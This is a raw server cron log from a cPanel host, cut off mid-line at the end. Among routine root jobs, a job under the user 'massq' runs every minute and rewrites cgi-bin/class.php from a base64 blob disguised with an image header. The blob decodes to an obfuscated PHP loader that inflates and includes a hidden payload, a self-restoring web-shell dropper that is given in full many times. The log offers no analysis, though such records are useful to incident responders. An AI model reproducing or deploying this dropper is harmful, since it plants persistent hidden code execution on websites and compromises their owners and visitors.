Sep  6 06:25:01 server CROND[27924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:25:01 server CROND[27925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:25:01 server CROND[27926]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:25:01 server CROND[27927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:25:01 server CROND[27929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:25:01 server CROND[27928]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:25:01 server CROND[27930]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 06:25:01 server CROND[27933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:26:01 server CROND[28854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:26:01 server CROND[28855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:26:01 server CROND[28857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:27:01 server CROND[29262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:27:01 server CROND[29264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:27:01 server CROND[29263]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 06:27:01 server CROND[29266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:28:01 server CROND[29651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:28:01 server CROND[29652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:28:01 server CROND[29653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:29:01 server CROND[30033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:29:01 server CROND[30034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:29:01 server CROND[30035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:30:01 server CROND[30439]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:30:01 server CROND[30441]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:30:01 server CROND[30445]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:30:01 server CROND[30446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:30:01 server CROND[30447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:30:01 server CROND[30444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:30:01 server CROND[30443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:30:01 server CROND[30442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:31:01 server CROND[31315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:31:01 server CROND[31316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:31:01 server CROND[31317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:32:01 server CROND[31689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:32:01 server CROND[31691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:32:01 server CROND[31690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:33:01 server CROND[32192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:33:01 server CROND[32193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:33:01 server CROND[32196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:34:01 server CROND[32570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:34:01 server CROND[32572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:34:01 server CROND[32571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:35:01 server CROND[521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:35:01 server CROND[520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:35:01 server CROND[526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:35:01 server CROND[533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:35:01 server CROND[532]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:35:01 server CROND[536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:35:01 server CROND[537]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 06:35:01 server CROND[540]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 06:35:01 server CROND[539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:36:01 server CROND[1475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:36:01 server CROND[1476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0Ol